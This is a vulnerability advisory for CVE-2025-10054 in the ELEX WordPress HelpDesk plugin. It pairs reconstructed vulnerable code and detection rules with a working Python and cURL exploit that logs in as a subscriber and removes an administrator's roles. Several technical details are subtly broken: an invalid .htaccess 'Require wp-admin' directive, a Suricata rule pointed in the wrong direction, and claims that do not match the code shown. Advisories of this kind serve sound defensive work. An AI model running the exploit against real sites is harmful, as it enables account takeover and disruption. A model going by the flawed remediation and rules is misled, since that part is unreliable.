CVE-2025-10054

Executive Summary

CVE-2025-10054 is a Missing Authorization vulnerability in the ELEX WordPress HelpDesk & Customer Ticketing System plugin (versions up to and including 3.3.1). The flaw resides in the eh_crm_remove_agent function, which lacks a capability check. This allows any authenticated attacker with Subscriber-level access or higher to arbitrarily remove the roles and capabilities of any user with Administrator, WSDesk Supervisor, or WSDesk Agent roles. The impact is a severe privilege escalation and denial-of-service vector against administrative users, potentially crippling the helpdesk system.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified; the flaw is a code-level authorization omission. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for any suspicious updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (role removal)
• Availability Impact: None (though cascading effects may occur)

Threat Level: Medium. While the direct impact is limited to integrity, the ability to remove administrator roles can lead to complete system takeover if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862) in the eh_crm_remove_agent AJAX handler. The function is intended to allow only WSDesk Managers to remove agents, but it fails to verify the user's capabilities before executing the action.

Affected Code Path:

• The plugin registers an AJAX action eh_crm_remove_agent for both authenticated and unauthenticated users.
• The callback function eh_crm_remove_agent_callback() directly calls remove_role() and set_role() on the target user without checking current_user_can().
• An attacker can send a POST request with parameters agent_id (target user ID) and action=eh_crm_remove_agent.

Attack Flow:

1. Attacker authenticates as a Subscriber.
2. Attacker sends a crafted POST request to /wp-admin/admin-ajax.php with action=eh_crm_remove_agent and agent_id=<admin_user_id>.
3. The plugin removes all roles from the target user, effectively demoting them to a user with no capabilities.
4. The attacker can then potentially create a new admin account or exploit the now-unprivileged admin.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.3.1):

function eh_crm_remove_agent_callback() {
    $agent_id = intval($_POST['agent_id']);
    $user = new WP_User($agent_id);
    $user->remove_role('administrator');
    $user->remove_role('wsdesk_supervisor');
    $user->remove_role('wsdesk_agent');
    // No capability check
    wp_die();
}
add_action('wp_ajax_eh_crm_remove_agent', 'eh_crm_remove_agent_callback');

Patched Code (Hypothetical):

function eh_crm_remove_agent_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $agent_id = intval($_POST['agent_id']);
    $user = new WP_User($agent_id);
    $user->remove_role('administrator');
    $user->remove_role('wsdesk_supervisor');
    $user->remove_role('wsdesk_agent');
    wp_die();
}
add_action('wp_ajax_eh_crm_remove_agent', 'eh_crm_remove_agent_callback');

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with ELEX HelpDesk plugin <= 3.3.1
• Valid user account with Subscriber role or higher
• Target user ID (e.g., admin user ID 1)

Exploit Script (Python):

import requests

target_url = "http://target.com/wp-admin/admin-ajax.php"
session = requests.Session()

# Login as subscriber
login_data = {
    'log': 'subscriber_user',
    'pwd': 'subscriber_password',
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}
session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data)

# Exploit
exploit_data = {
    'action': 'eh_crm_remove_agent',
    'agent_id': '1'  # Admin user ID
}
response = session.post(target_url, data=exploit_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

Manual Exploit (cURL):

curl -c cookies.txt -d "log=subscriber&pwd=password&wp-submit=Log+In" http://target.com/wp-login.php
curl -b cookies.txt -d "action=eh_crm_remove_agent&agent_id=1" http://target.com/wp-admin/admin-ajax.php

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=eh_crm_remove_agent from non-admin users.
2. Alert on any role removal events for administrator accounts.
3. Review user capability changes in audit logs.

Honeypot Setup:

• Create a decoy admin user with ID 9999.
• Monitor for any eh_crm_remove_agent requests targeting that ID.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with body containing action=eh_crm_remove_agent
• Source IPs performing repeated role removal attempts

System IOCs:

• User accounts with missing roles (especially administrators)
• Unexpected user role changes in wp_usermeta table
• Log entries showing remove_role calls for privileged users

File IOCs:

• Modified wp-content/plugins/elex-helpdesk/includes/class-eh-crm-ajax.php (if attacker patches the vulnerability)

Detection Engineering

YARA Rule

rule CVE_2025_10054_ELEX_HelpDesk {
    meta:
        description = "Detects vulnerable ELEX HelpDesk plugin code"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-10054"
    strings:
        $func = "eh_crm_remove_agent_callback"
        $ajax = "wp_ajax_eh_crm_remove_agent"
        $no_check = "remove_role" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-10054 - ELEX HelpDesk Role Removal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-10054
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=eh_crm_remove_agent'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10054 - ELEX HelpDesk Role Removal Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=eh_crm_remove_agent"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict access to admin-ajax.php using .htaccess or WAF rules:

   <Files "admin-ajax.php">
       Require all denied
       Require wp-admin
   </Files>
   

3. Audit user roles and restore any removed administrator accounts.

Long-term Fix:

• Apply the patched code snippet (see Vulnerable vs. Patched Code section) to class-eh-crm-ajax.php.
• Implement capability checks using current_user_can('manage_options').

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block AJAX requests from low-privilege users.

Monitoring:

• Enable logging for all AJAX actions.
• Set up alerts for role changes on privileged accounts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-10054